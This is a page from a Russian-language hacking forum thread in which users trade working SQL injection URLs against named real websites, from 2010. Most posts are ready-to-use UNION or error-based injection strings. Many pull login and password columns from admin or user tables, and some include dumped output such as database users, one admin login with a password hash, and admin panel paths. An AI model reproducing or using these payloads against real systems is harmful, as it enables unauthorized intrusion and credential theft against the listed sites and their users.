SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. brutos

    brutos Member

    Joined:
    25 Nov 2009
    Messages:
    123
    Likes Received:
    27
    Reputations:
    8
    www.brandmaster.su
    ТИЦ: 10, PR: 3

    Code:
    http://www.brandmaster.su/item3.php?sID=7&cID=58+union+all+select+1,concat_ws(0x3a,version(),user(),database())/*
    corporation22.com
    ТИЦ: 40, PR: 3

    Code:
    http://corporation22.com/index.php?article=-19+uNIon+sELect+cONcat_wS(0x3a3a,version(),user(),database())#content
    Убрал бояны.)) Тяжко тут, в поиске ничего не находится.
     
    #12981 brutos, 14 Sep 2010
    Last edited: 14 Sep 2010
    1 person likes this.
  2. Zombi ****

    Zombi **** Elder - Старейшина

    Joined:
    4 Apr 2009
    Messages:
    166
    Likes Received:
    183
    Reputations:
    17
    http://www.bonsaitrees.com/gallery.php?id=-4+UNION+SELECT+1,2,version(),4,5,6,7,8,9--
    Database Version: 4.1.20
    Database name: bonsai
    User name: bonsai@localhost
    ТИЦ10(R2) PR4
     
    1 person likes this.
  3. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    216
    Likes Received:
    105
    Reputations:
    50
    Code:
    http://www.bossybootskidz.com/index.php?page_id=brand&brandid=-344+uNiOn+seLeCt+1,version%28%29,3,4,5,6,7,8,9,10,11,12%20--+
    5.0.81
     
    1 person likes this.
  4. tracy

    tracy Elder - Старейшина

    Joined:
    24 Mar 2009
    Messages:
    244
    Likes Received:
    119
    Reputations:
    40
    http://www.ekmi-mebli.com/ru/news/?cid=43&nid=829+and+1=0+UnIon+selECt+1,2,3,4,5,concat_ws(0x3a,id,login,pass),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+vacuums_users+limit+0,1--+
    ТИЦ : 50 PR: 3
    view-source:http://www.bestaqua.ru/product_info.php?products_id=6805+and+1=0+union+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema=0x3167625f6265737461717561--+
    ТИЦ : 120


    http://www.stiltour.ru/?v_id=1+and+1=0+union+select+1,2,3,4,5,6,concat_ws(0x3a,login,pass),8+from+user+--+
    ТИЦ : 20 PR: 3

    http://www.taurus-grupp.ru/?page=katalogpokaz&id=145'+and+1=0+union+select+concat_ws(0x3a,name,pass),2+froM+users--+
    ТИЦ : 10
     
    1 person likes this.
  5. Gedj

    Gedj Elder - Старейшина

    Joined:
    15 Sep 2008
    Messages:
    85
    Likes Received:
    30
    Reputations:
    2
    Code:
    http://www.vectorplus.ru/vacancy_view.php?id=-73+union+select+1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+information_schema.tables--
     
  6. tracy

    tracy Elder - Старейшина

    Joined:
    24 Mar 2009
    Messages:
    244
    Likes Received:
    119
    Reputations:
    40
    http://www.arkaim.biz/?razdel=articles&id=91+and+1=0+union+select+1,2,concat_ws(0x3a,id,login,password),4,5,6,7+from+a_admin_users+limit+1,1+--+
    тИЦ:50
    ursaeva:*8221CF8643CF5F9646F179F96BAAFD24E232D992:25021978
    Админка - /admin.php
     
  7. Darth Padla

    Darth Padla Member

    Joined:
    21 Jun 2010
    Messages:
    141
    Likes Received:
    25
    Reputations:
    8

    http://www.bakli.net.ru/lib/ar/author/-1+union+select+1,2,concat_ws(0x3a,user(),version()),4,5,6

    http://www.benakvista.net.ru/lib/ar/author/-1+union+select+1,2,concat_ws(0x3a,user(),version()),4,5,6

    http://www.saltykov.net.ru/lib/ar/author/-1+union+select+1,2,concat_ws(0x3a,user(),version()),4,5,6

    http://www.dostoevskiy.net.ru/lib/ar/author/-1+union+select+1,2,concat_ws(0x3a,user(),version()),4,5,6

    http://www.bellou.net.ru/lib/ar/author/-1+union+select+1,2,concat_ws(0x3a,user(),version()),4,5,6

    http://www.andhazi.org.ru/lib/ar/author/-1+union+select+1,2,concat_ws(0x3a,user(),version()),4,5,6

    http://www.agnon.org.ru/lib/ar/author/-1+union+select+1,2,concat_ws(0x3a,user(),version()),4,5,6

    http://www.levtolstoy.org.ru/lib/ar/author/-1+union+select+1,2,concat_ws(0x3a,user(),version()),4,5,6

    http://www.ershov.org.ru/lib/ar/author/-1+union+select+1,2,concat_ws(0x3a,user(),version()),4,5,6

    http://www.biy.net.ru/lib/ar/author/-1+union+select+1,2,concat_ws(0x3a,user(),version()),4,5,6

    Дальше лень было искать.
    Google it:
    Сайт работает под управлением системы "Электронный библиотекарь" 4.7
     
    #12987 Darth Padla, 14 Sep 2010
    Last edited: 14 Sep 2010
    3 people like this.
  8. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    216
    Likes Received:
    105
    Reputations:
    50
    4.1.25
    dbuser@localhost
    portbld-freebsd7.2


    Code:
    http://www.4baby.com.ua/index.php?id=-6145+union+select+concat(login,0x3a,password,0x3a,admin)+from+users+limit+1,2
    file_priv=Y
     
    3 people like this.
  9. 0pTik

    0pTik Banned

    Joined:
    18 Jul 2010
    Messages:
    240
    Likes Received:
    85
    Reputations:
    17
    Code:
    http://bespredel.org.ua/content.php?act=show&id=-129%20OR%20%28SELECT%20COUNT%28*%29%20FROM%20%28SELECT%201%20UNION%20SELECT%202%20UNION%20SELECT%203%
    
    29x%20GROUP%20BY%20CONCAT%28MID%28concat%28user%28%29,0x3a,version%28%29,0x3a,database%28%29%29,%201,%2063%29,%20FLOOR%28RAND%280%29*2%29%29%29%20--


    MySQL 5

    Тиц 10
     
  10. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www.theivoice.info/products.php?id=-2+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,userid,password),11,12,13,14,15,16,17,18,19+from+theivoice_admin_user
     
    _________________________
    1 person likes this.
  11. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    http://www.alobelo.com.br/info-mix.php?id=-9+union+select+1,concat(user,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+user+--+


    http://www.instituteofurology.org/res.php?page=trial&id=-2+union+select+1,concat(email,char(58),password),3,4,5,6,7,8,9+from+users+--+
     
    #12991 Kusto, 15 Sep 2010
    Last edited: 15 Sep 2010
    2 people like this.
  12. Gedj

    Gedj Elder - Старейшина

    Joined:
    15 Sep 2008
    Messages:
    85
    Likes Received:
    30
    Reputations:
    2
    Code:
    http://www.specialradio.ru/mkz/?id=-5+union+select+1,group_concat(table_name),3,4,5,6,7,8,9+from+information_schema.tables--
     
  13. av1

    av1 Elder - Старейшина

    Joined:
    6 Oct 2008
    Messages:
    725
    Likes Received:
    104
    Reputations:
    58
    Code:
    http://www.ala-schweiz.ch/index.php?option=com_php&Itemid=21&id=-15554+UNION+SELECT+1,concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+ob_gesamtindex--
    Username: user19085@web43
    Version: 5.0.77-log
    Database: db1908501

    Google PR: 6

    Joomla
     
    1 person likes this.
  14. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://gallery.wittnet.at/index.php?cmd=change_group&cmd_value=14+union+select+cast(version()||chr(58)||user as int),null,null,null,null,null,null,null,null,null,null,null+from+pg_user;--
     
    _________________________
    1 person likes this.
  15. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    Code:
    [COLOR=White]http://calarasi-info.com/ind.php?pn=0&id_categ=-13+union+select+1,2,3,4,5,6,concat_ws(0x3a,version(),database(),user()),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--+[/COLOR]
    5.0.90-community-log:calarasi_new:calarasi_new@localhost
    PageRank 2
    http://calarasi-info.com/Admin/
     
    1 person likes this.
  16. 0pTik

    0pTik Banned

    Joined:
    18 Jul 2010
    Messages:
    240
    Likes Received:
    85
    Reputations:
    17
    Code:
    http://www.fondazione-crmo.it/staticpage.php?id=-1+union+select+1,2,3,4,version%28%29,user%28%29,7,8,9,10,11,12,13--

    PR 6

    Тиц 10
     
    1 person likes this.
  17. tracy

    tracy Elder - Старейшина

    Joined:
    24 Mar 2009
    Messages:
    244
    Likes Received:
    119
    Reputations:
    40
    http://paralet.ru/home/news/?id=27+and+1=0+union+select+1,concat_ws(0x3a,id,login,pwd),3,4,5+from+users++limit+0,1--+
    ТИЦ : 50
    http://paralet.ru/admin
     
    #12997 tracy, 15 Sep 2010
    Last edited by a moderator: 15 Sep 2010
  18. moodoone

    moodoone Member

    Joined:
    21 Oct 2009
    Messages:
    144
    Likes Received:
    38
    Reputations:
    5
    Code:
    http://meblisvit.lviv.ua/index.php?option=com_catalog&id=-2+union+select+1,2,version(),4,5--
    Code:
    http://www.e4dsky.com/news/news.php?id=-9+union+select+1,version(),3--
    Code:
    http://markosarts.com/news.php?id=-20+UnIon+selECt+1,2,3,4,5,version(),7,8+--+
    Code:
    http://ostbar.com.ua/news.php?pg=2&id=-408+UnIon+selECt+1,2,version(),4,5,6,7,8,9,10+poll_user--+
     
    #12998 moodoone, 15 Sep 2010
    Last edited: 18 Sep 2010
    1 person likes this.
  19. CodeSender:)

    CodeSender:) Elder - Старейшина

    Joined:
    29 Jul 2010
    Messages:
    245
    Likes Received:
    115
    Reputations:
    23
    Code:
    http://cabelcenter.ru/cables.php?mark=1+and+1=0+union+select+1,concat_ws(0x3a3a,version(),user(),database()),3,4,5+--+
    Version: 4.1.25
    User: user@localhost
    Database: kamakabe_catalog
    PR: 2 CY: 20
     
  20. tracy

    tracy Elder - Старейшина

    Joined:
    24 Mar 2009
    Messages:
    244
    Likes Received:
    119
    Reputations:
    40
    http://www.khakensb.ru/index.php?id=23&news=87+and+1=0+union+select+1,concat_ws(0x3a,username,userpass),3,4,5,6,7,8,9,10+from+Copy_of_Copy_of_poll_1.poll_user--+
    ТИЦ : 30
    ОАО "Хакасэнергосбыт"

    http://www.sitesozdat.com/view_post.php?id=121'+and+1=0+union+select+1,2,3,4,5,concat_ws(0x3a,id,user,pass),7,8,9,10,11+from+userlist+--+
    ТИЦ : 10

    http://www.blikimag.ru/view.php?id=210'+and+1=0+union+select+1,2,3,4,5,6,group_concat(table_name),8,9,10+from+information_schema.tables+where+table_schema=0x7a39303139365f626c696b69--+
    ТИЦ : 20
     
    #13000 tracy, 16 Sep 2010
    Last edited: 16 Sep 2010
    1 person likes this.
Thread Status:
Not open for further replies.